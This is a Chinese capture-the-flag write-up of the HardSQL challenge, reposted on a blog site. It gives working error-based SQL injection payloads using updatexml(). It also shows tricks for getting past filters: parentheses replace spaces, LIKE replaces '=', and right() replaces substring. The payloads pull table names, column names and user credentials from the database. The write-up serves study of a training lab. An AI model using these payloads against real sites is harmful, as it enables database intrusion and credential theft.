[極客大挑戰 2019]HardSQL
(主要記錄一下自己做題的思路)
題目:
打開環境,得到:

廢話不多說,都說了是hardsql了,直接fuzz測驗一下

可以看到有很多還是沒被過濾的,現在就要自己再手動測驗一下常見的一些方式了,我這里說下我做這題的思路:
先試著輸入了admin' #,回傳了:

說明空格確實被過濾,接著就要想辦法繞過空格了,先試著用了下/**/來繞過空格,發現同樣被過濾了

現在只有用()括號來繞過空格了,這里簡單講下空格繞過的原理:
括號是來包含子查詢的,任何可以計算出結果的陳述句都可以用括號圍起來,而括號的兩端,可以沒有多余的空格
試著輸入:

發現沒有出現那幾個漢子,證明繞過了空格
現在仔細觀察那個error界面,猜測應該是報錯注入,先試試用updatexml注入看:
admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
可以拿到資料庫:

繼續查表名,構造payload:
admin'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#
直接拿到了表名:

繼續查列名,payload為:
admin'or(updatexml(1,concat(0x7e,(select(column_name)from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
然后得到:

所以再改進一點payload為:
admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
可以拿到列名:

繼續構造payload:
admin'or(updatexml(1,concat(0x7e,(select(group_concat(id,'~',username,'~',password))from(H4rDsq1)),0x7e),1))#
可以拿到一半的flag

然后這里就要補充一點知識了,也可以對上面的payload構造有點理解
1:空格被過濾可以使用/**/或者()繞過
2:=號被過濾可以用like來繞過
3:substring與mid被過濾可以用right與left來繞過
所以這里如果要得到右邊的flag的話,就要用right來構造了,直接看構造好的payload:
admin'or(updatexml(1,concat(0x7e,(select(right(password,35))from(H4rDsq1)),0x7e),1))#
最終拿到右邊的flag:

去掉重復的,拼接上就可以了
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/277468.html
標籤:其他
上一篇:淺析Java中的資源關閉
下一篇:hashMap的擴容原理
